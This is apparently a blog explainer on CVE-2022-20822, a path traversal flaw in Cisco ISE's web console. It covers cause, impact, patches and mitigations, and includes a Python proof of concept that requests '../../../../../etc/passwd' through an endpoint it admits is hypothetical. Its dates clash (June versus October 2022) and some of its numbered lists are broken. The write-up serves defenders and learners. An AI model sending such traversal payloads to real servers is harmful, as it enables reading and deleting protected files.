In June 2022, Cisco published a security advisory for a newly discovered vulnerability affecting their Identity Services Engine (ISE) product. This flaw, tracked as CVE-2022-20822, occurs in the web-based management interface of Cisco ISE. An attacker with valid credentials could abuse it to read or delete sensitive files on the server—files that should normally be protected from even administrative users. This long-read post will break down how this vulnerability happens, show example exploit code, explain the impact, and provide direct references for further reading. All technical details are explained in a way that anyone who works in IT or with Cisco gear can follow.

What Is Cisco ISE?

Cisco Identity Services Engine (ISE) is a security policy management platform that lets organizations enforce network access control for users and devices. The ISE web interface is a powerful tool for admins to manage user authentication, device compliance, and segment network traffic dynamically.

What Is CVE-2022-20822?

CVE-2022-20822 is an improper input validation vulnerability in the web management interface of Cisco ISE. The server does not properly sanitize user-provided input in HTTP requests, which makes it possible for attackers to manipulate file paths—this is often referred to as a *path traversal* attack.

Who Can Exploit It?

An attacker must be authenticated—they need at least a low-level set of credentials on the ISE web management console. However, the flaw allows them to read and delete files outside their authorized scope.

How Does the Exploit Work?

The vulnerability arises because the web interface fails to validate user-supplied file paths. Suppose you have an API or management feature that lets you view logs or download backups. If the input (say, a filename or path) is not sanitized, an attacker can inject “directory traversal” sequences like ../ (dot-dot-slash) to escape the intended folder and access sensitive files elsewhere on the server.

Log in to ISE using your (possibly low-level) credentials via the web console.

2. Craft an HTTP request to an API endpoint that lets you manage, download, or delete files (for example, logs or report downloads).
3. In the request, manipulate the file path by inserting sequences like ../../../etc/passwd or another sensitive file path.
4. Send the request. The server, not properly validating the input, takes the given path and reads/deletes the actual file on disk.

Example Exploit Code

Below is a simple demonstration (for educational purposes only). This script shows how you could send such a crafted request using Python and the requests library.

import requests
from requests.auth import HTTPBasicAuth

# Replace values below with your own setup
ISE_HOST = "https://your-ise-server.example.com";
USERNAME = "valid_user"
PASSWORD = "valid_password"

# The vulnerable endpoint (example)
VULN_PATH = "/admin/DownloadLogs"  # Hypothetical endpoint
TARGET_FILE = "../../../../../etc/passwd"  # Attempt to read sensitive file outside allowed dir

# Craft the URL with the path traversal
params = {'logfile': TARGET_FILE}
url = f"{ISE_HOST}{VULN_PATH}"

# Send the malicious request
response = requests.get(url, params=params, auth=HTTPBasicAuth(USERNAME, PASSWORD), verify=False)

print("Status Code:", response.status_code)
print("Response:")
print(response.text)

Note:

Make sure you have permission to test this on your lab or demo ISE system!

- This is a simplified example: real systems may use slightly different endpoints, tokens, or parameters.

Impact of the Vulnerability

- Read Sensitive Files: An attacker can download files such as system config or even password files (e.g., /etc/passwd).
- Delete Critical Files: A crafted request could also attempt to delete arbitrary files, causing service interruption or data loss.
- Privilege Escalation: Reading sensitive config files might allow attackers to find further weaknesses (“chaining” vulnerabilities).

How Is Cisco Fixing It?

Cisco has confirmed this issue in ISE releases prior to 3.1P7 and 3.2P2. The company is delivering patched software. Make sure to follow Cisco’s official update schedule and apply patches as soon as possible.

Official Cisco Advisory:  
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-pathtrav-qyHqQVNE

Network Segmentation: Restrict ISE web interface access using firewalls and VPNs.

4. Monitor Logs: Review file access and deletion activity. Use Cisco’s audit features to detect abuse.
5. Web Application Firewall (WAF): While not a final solution, a good WAF may detect and block some malformed requests.

References

- Cisco Security Advisory: CVE-2022-20822
- NIST National Vulnerability Database Entry for CVE-2022-20822
- Common Path Traversal Techniques

Conclusion

CVE-2022-20822 is a high-risk vulnerability in Cisco ISE’s web interface, allowing authenticated attackers to access and remove sensitive files. This flaw underlines the importance of validating user input on web-exposed management applications. Users should apply the recommended updates from Cisco and maintain strict controls on account and network access to critical infrastructure.

Timeline

Published on: 10/26/2022 15:15:00 UTC
Last modified on: 10/31/2022 17:40:00 UTC